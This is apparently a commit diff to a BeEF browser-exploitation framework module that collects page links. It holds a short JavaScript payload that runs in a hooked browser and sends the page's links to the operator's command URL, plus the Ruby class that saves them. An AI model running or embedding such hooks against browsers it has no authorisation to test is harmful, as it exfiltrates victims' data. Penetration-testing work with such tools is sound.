Fixed Collect Links module aka Get Page HREFs
URLs are returned now and wrap instead of overflowing Fixes issue 412
This commit is contained in:
@@ -13,9 +13,9 @@
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, beef.dom.getLinks());
|
||||
|
||||
});
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+beef.dom.getLinks());
|
||||
|
||||
});
|
||||
|
||||
|
||||
@@ -13,13 +13,13 @@
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Collect_links < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['Links'] = @datastore['links']
|
||||
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
class Collect_links < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['links'] = @datastore['links']
|
||||
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user